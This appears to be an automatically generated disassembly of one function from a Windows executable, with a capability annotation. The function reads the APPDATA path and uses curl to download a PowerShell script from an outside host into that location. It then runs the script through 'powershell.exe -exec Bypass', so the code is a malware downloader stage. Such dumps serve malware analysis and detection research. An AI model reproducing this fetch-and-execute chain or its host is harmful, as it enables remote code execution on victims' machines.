Function at 0x1400012e0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x110], rax
xor r13d, r13d
mov r8d, 0x104
lea rdx, [rbp]
lea rcx, str.APPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
dec eax
cmp eax, 0x103
ja 0x140001924
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea rax, [rbp]
mov rdi, 0xffffffffffffffff
mov rbx, rdi
nop
inc rbx
cmp byte [rax + rbx], r13b
jne 0x140001360
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x14000198e
movabs rax, 0x8000000000000000
mov ecx, 0x16
mov qword [rsp + 0x48], 0xf
cmp rbx, 0xf
ja 0x1400013ba
mov qword [rsp + 0x40], rbx
mov r8, rbx
lea rdx, [rbp]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], r13b
jmp 0x140001446
mov r14, rbx
or r14, 0xf
cmp r14, rsi
jbe 0x1400013e8
mov r14, rsi
add rax, 0x27
mov rcx, rax
call fcn.140002080
test rax, rax
je 0x14000140b
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140001424
cmp r14, rcx
cmovb r14, rcx
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x140001412
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001982
jmp 0x1400013cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001421
call fcn.140002080
mov r15, rax
jmp 0x140001424
mov r15, r13
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r14
mov r8, rbx
lea rdx, [rbp]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + rbx], r13b
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, r8
mov r12d, 0x46
lea r14, str.cmd.exe__c_curl_https:__gizawy.alwaysdata.net_B4qDBh0rpG.ps1___output
cmp rax, r12
jb 0x1400014e4
lea rax, [r8 + 0x46]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x30]
lea rax, [0x140003486]
cmp rax, rbx
jbe 0x1400014a7
lea rax, [rbx + r8]
cmp r14, rax
ja 0x1400014a7
cmp rbx, r14
ja 0x14000149f
mov r15, r13
jmp 0x1400014aa
mov r15, rbx
sub r15, r14
jmp 0x1400014aa
mov r15, r12
lea rcx, [rbx + 0x46]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r15]
sub r12, r15
lea rdx, [r14 + 0x46]
add rdx, r15
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x30]
jmp 0x1400014fb
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r14
mov rdx, r12
lea rcx, [rsp + 0x30]
call fcn.140001ed0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x28]
call fcn.140001c10
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140001578
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001573
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001573
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020bc
movdqa xmm0, xmmword [0x1400034c0]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400015ca
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020bc
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rbp - 0x28]
call fcn.1400011c0
test al, al
jne 0x1400015f4
mov ebx, 1
jmp 0x1400018e2
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
lea rax, [rbp]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140001615
cmp rdi, rsi
ja 0x14000197c
mov qword [rsp + 0x68], 0xf
cmp rdi, 0xf
ja 0x140001656
mov qword [rsp + 0x60], rdi
mov r8, rdi
lea rdx, [rbp]
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rdi + 0x50], 0
jmp 0x1400016f2
mov rax, rdi
or rax, 0xf
cmp rax, rsi
jbe 0x14000168b
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002080
test rax, rax
je 0x1400016b7
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400016d0
mov rsi, rax
cmp rax, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x1400016be
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001988
jmp 0x140001670
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400016cd
call fcn.140002080
mov rbx, rax
jmp 0x1400016d0
mov rbx, r13
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rsi
mov r8, rdi
lea rdx, [rbp]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
mov r8, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, r8
mov r14d, 0x2a
lea rsi, str.cmd.exe__c_powershell.exe__exec_Bypass__C
cmp rax, r14
jb 0x140001790
lea rax, [r8 + 0x2a]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x50]
lea rax, [0x1400034b2]
cmp rax, rbx
jbe 0x140001753
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x140001753
cmp rbx, rsi
ja 0x14000174b
mov rdi, r13
jmp 0x140001756
mov rdi, rbx
sub rdi, rsi
jmp 0x140001756
mov rdi, r14
lea rcx, [rbx + 0x2a]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
sub r14, rdi
lea rdx, [rsi + 0x2a]
add rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
jmp 0x1400017a7
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.140001ed0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x48]
call fcn.140001c10
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140001820
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000181b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000181b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020bc
movdqa xmm0, xmmword [0x1400034c0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001871
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000186c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000186c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020bc
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
lea rcx, [rbp - 0x48]
call fcn.1400011c0
movzx ebx, al
xor ebx, 1
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x1400018d1
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020bc
movdqa xmm0, xmmword [0x1400034c0]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140001920
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000191b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000191b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020bc
mov eax, ebx
jmp 0x14000194c
lea rdx, str.Failed_to_get_APPDATA_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a00
mov rcx, rax
lea rdx, [0x140001bd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.140002060
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.1400011a0
int3